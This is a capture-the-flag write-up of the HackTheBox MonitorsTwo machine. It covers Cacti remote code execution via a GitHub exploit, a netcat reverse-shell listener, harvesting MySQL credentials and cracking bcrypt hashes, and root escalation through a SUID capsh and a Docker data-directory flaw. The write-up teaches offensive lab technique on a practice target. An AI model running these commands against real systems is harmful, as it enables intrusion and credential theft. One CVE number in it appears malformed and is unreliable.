HackTheBox: MonitorsTwo write-up

In this article we'll crack the MonitorsTwo machine on HackTheBox. The solution involves exploiting an outdated version of Cacti (a server monitoring software), accessing a poorly protected MySQL database, cracking password hashes and abusing Docker permissions. This challenge is rated as easy
on HackTheBox.
Enumeration and initial access
As usual, we begin our enumeration process with a port scan. We find out that two services are present, SSH and HTTP, both running on standard ports:
PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)...80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)| http-methods: |_ Supported Methods: GET HEAD POST OPTIONS|_http-favicon: Unknown favicon MD5: 4F12CCCD3C42A4A478F067337FE92794|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Login to CactiService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As indicated by the web service scan results, upon accessing the web page, we encounter a Cacti 1.2.22 login page. Cacti is an open-source, web-based network monitoring and graphing solution that offers a user-friendly interface for managing and visualizing network performance data, usually in the form of graphs and charts.
Upon investigating the specific version of Cacti in use, we find that it is vulnerable to CVE-2022-4612269. This vulnerability enables an unauthenticated attacker to execute arbitrary code on the server hosting Cacti. To exploit this weakness, we turn to GitHub, where we discover one of the many working exploits.
To get a shell on the target all we have to do is open a netcat listener on our machine with rlwrap nc -vlnp 9001
and execute the exploit:
$ python3 exploit.py -u http://<TARGET IP>/ --LHOST <LOCAL IP> --LPORT 9001 Checking...The target is vulnerable. Exploiting...Bruteforcing the host_id and local_data_idsBruteforce Success!!
After getting the shell, we can stabilize it with the following commands:
$ export TERM=xterm# Background the session with CTRL+Z$ stty raw -echo; fg;
Machine enumeration and user flag
Upon gaining access to the machine, we immediately notice the presence of a /.dockerenv
file which indicates that we are inside a Docker container. We also come across a file named /entrypoint.sh
. This file typically serves as the entry point for a Docker container, containing instructions and commands that are executed when the container starts:

Let's take a look at entrypoint.sh
:
bash-5.1$ cat entrypoint.shcat entrypoint.sh#!/bin/bashset -exwait-for-it db:3306 -t 300 -- echo "database is connected"if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'" mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"fichown www-data:www-data -R /var/www/html# first arg is `-f` or `--some-option`if [ "${1#-}" != "$1" ]; then set -- apache2-foreground "$@"fiexec "$@"
We have the credentials for the MySQL database! Let's connect to it and take a look:
$ mysql --host=db --user=root --password=root...MySQL [(none)]> show databases;+--------------------+| Database |+--------------------+| information_schema || cacti || mysql || performance_schema || sys |+--------------------+5 rows in set (0.002 sec)
MySQL [(none)]> use cacti;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changed
MySQL [cacti]> show tables;+-------------------------------------+| Tables_in_cacti |+-------------------------------------+| aggregate_graph_templates || aggregate_graph_templates_graph || aggregate_graph_templates_item |...| user_auth |...+-------------------------------------+111 rows in set (0.001 sec)
MySQL [cacti]> select * from user_auth;+----+----------+--------------------------------------------------------------+...| id | username | password |...+----+----------+--------------------------------------------------------------+...| 1 | admin | $2y$10$mYZqbqQQPgQVmtkN5Lrtj.MC40FezJbQlCKem2sj/VnfkEunLTcQW |...| 3 | guest | 43e9a4ab75570f5b |...| 4 | marcus | $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C |...+----+----------+--------------------------------------------------------------+...3 rows in set (0.001 sec)
We have obtained a hashed password for the user marcus
. Let's store it in a file and attempt to crack it using John The Ripper:
$ john hash.forjohn --wordlist=/usr/share/wordlists/rockyou.txtUsing default input encoding: UTF-8Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])Cost 1 (iteration count) is 1024 for all loaded hashesWill run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for status<REDACTED> (?) 1g 0:00:01:09 DONE (2023-05-10 16:18) 0.01444g/s 123.2p/s 123.2c/s 123.2C/s 474747..coucouUse the "--show" option to display all of the cracked passwords reliablySession completed.
Excellent, the password is present in the rockyou dictionary and, conveniently, it's also reused for SSH authentication. We can proceed to establish an SSH connection to the target machine by utilizing the credentials we've uncovered and get the user flag.
Privilege Escalation and root flag
After poking around for some time I realized that the target is running a vulnerable version of Docker:
marcus@monitorstwo:~$ docker --versionDocker version 20.10.5+dfsg1, build 55c4c88
This version is vulnerable to CVE-2021-41091 (more details here). Moby (the Docker engine) contains a flaw that permits unprivileged Linux users to access and run programs inside containers, resulting from insufficient permissions in the data directory.
In simple terms, it is possible to alter the permissions (for instance, setting the SUID bit) of applications executing within the container, and subsequently run them as an unprivileged user outside the container while preserving the assigned permissions to do all kinds of nasty things. In our case this could be abused by setting the SUID bit on the bash
binary inside the container, exfiltrating and running it on the host system to gain root access.
I found a nice exploit on GitHub that we can use to achieve this, but first we need to get root permissions inside the Docker container.
To achieve this I uploaded a copy of linpeas to the target container. It found an interesting file:

/sbin/capsh
has a SUID bit set - after looking it up on GTFOBins we find the syntax to abuse it and get a root shell:
/sbin/capsh --gid=0 --uid=0 --
Almost there. We can now set the SUID bit on bash with the following command:
chmod u+s /bin/bash
Now let's go back to our host machine, upload and run the exploit I mentioned earlier. It will provide step by step instructions to get a root shell:

All that's left to do is grab our root flag!